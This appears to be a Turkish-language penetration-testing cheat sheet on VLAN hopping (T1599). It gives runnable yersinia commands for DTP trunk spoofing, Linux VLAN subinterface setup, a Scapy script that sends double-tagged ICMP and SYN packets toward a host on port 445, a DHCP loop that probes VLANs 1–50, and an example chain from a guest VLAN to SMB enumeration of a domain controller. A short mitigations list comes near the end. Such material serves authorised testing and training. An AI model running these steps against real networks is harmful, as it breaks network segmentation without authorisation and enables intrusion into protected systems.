Skip to content

VLAN Hopping

ATT&CK T1599 difficulty: orta

VLAN Hopping, ağın VLAN’larla sağladığı mantıksal segmentasyonu atlayıp normalde erişilemeyen VLAN’lara ulaşmaktır (T1599). İki klasik yöntemi vardır: switch spoofing (DTP) ve double tagging. Modern switch’lerde çoğu zaman kapatılmıştır; yine de eski/yanlış yapılandırılmış erişim portlarında görülür.

- Fiziksel veya erişim portuna bağlı dayanak (misafir VLAN vb.)
- Native VLAN bilgisi (double tag için)
- Araçlar: yersinia, scapy, frogger, tcpdump
- CDP/LLDP ile komşu/switch keşfi
Terminal window
sudo tcpdump -i eth0 -nn -v 'ether[20:2] == 0x2000' # CDP
Terminal window
sudo tcpdump -nn -i eth0 -s 1500 -c 1 'ether proto 0x88cc' # LLDP
Terminal window
sudo yersinia -G
Terminal window
sudo ./frogger.sh
Terminal window
ip -d link show
Öğren: native VLAN ID, trunk mu access mi, DTP açık mı, ses/data VLAN

Erişim portu DTP ile trunk pazarlığına açıksa, saldırgan kendini switch gibi tanıtıp trunk kurar ve izin verilen VLAN trafiğini görür / etiketler:

Terminal window
sudo yersinia -G
Terminal window
sudo yersinia dtp -attack 1 -interface eth0
Terminal window
sudo ip link add link eth0 name eth0.20 type vlan id 20
Terminal window
sudo ip link set eth0.20 up
Terminal window
sudo dhclient eth0.20
Terminal window
sudo ip addr add 10.20.0.66/24 dev eth0.20

Başarı sonrası yeni VLAN’da scanning ve sniffing.

Native VLAN etiketlenmeden trunk’tan geçiyorsa, saldırgan çift 802.1Q etiketiyle paketi hedef VLAN’a zıplatabilir. Genelde tek yönlüdür.

  1. Çift etiket modeli — dış = native VLAN (switch soyar), iç = hedef VLAN.

  2. Paketi üret (Scapy) :

    from scapy.all import *
    pkt = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=1)/Dot1Q(vlan=20)/ \
    IP(dst="10.20.0.5")/ICMP()
    sendp(pkt, iface="eth0", count=5)
    pkt = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst="10.20.0.5")/TCP(dport=445, flags="S")
    sendp(pkt, iface="eth0", loop=1, inter=0.2)
  3. Sonuç — paket ulaşabilir; yanıt genelde gelmez. Çift yönlü için trunk spoofing tercih edilir.

Terminal window
sudo vconfig add eth0 20
Terminal window
sudo ifconfig eth0.20 10.20.0.66 netmask 255.255.255.0 up
CDP'de voice VLAN ID görülebilir
Bazı IP telefon portları multi-VLAN
Yanlış yapılandırılmış access + voice → ekstra segment
DTP off / access port static → spoofing yok
Native VLAN tagging (vlan dot1q tag native) → double tag zor
Private VLAN / port isolation → hop sonrası limitleme
802.1X + MAB → önce auth gerekir
Misafir VLAN erişimi
→ CDP: native VLAN=1, DTP dynamic desirable
→ yersinia DTP trunk
→ eth0.30 (sunucu VLAN) IP al
→ SMB enum / DC keşfi
Double tag → tek yönlü SYN to DC:445
→ fire-and-forget exploit / wake
Terminal window
for v in $(seq 1 50); do
Terminal window
sudo ip link add link eth0 name eth0.$v type vlan id $v 2>/dev/null
Terminal window
sudo ip link set eth0.$v up
Terminal window
sudo timeout 2 dhclient eth0.$v 2>/dev/null && echo "VLAN $v DHCP OK"
Terminal window
done
Terminal window
sudo nmap -sn 10.20.0.0/24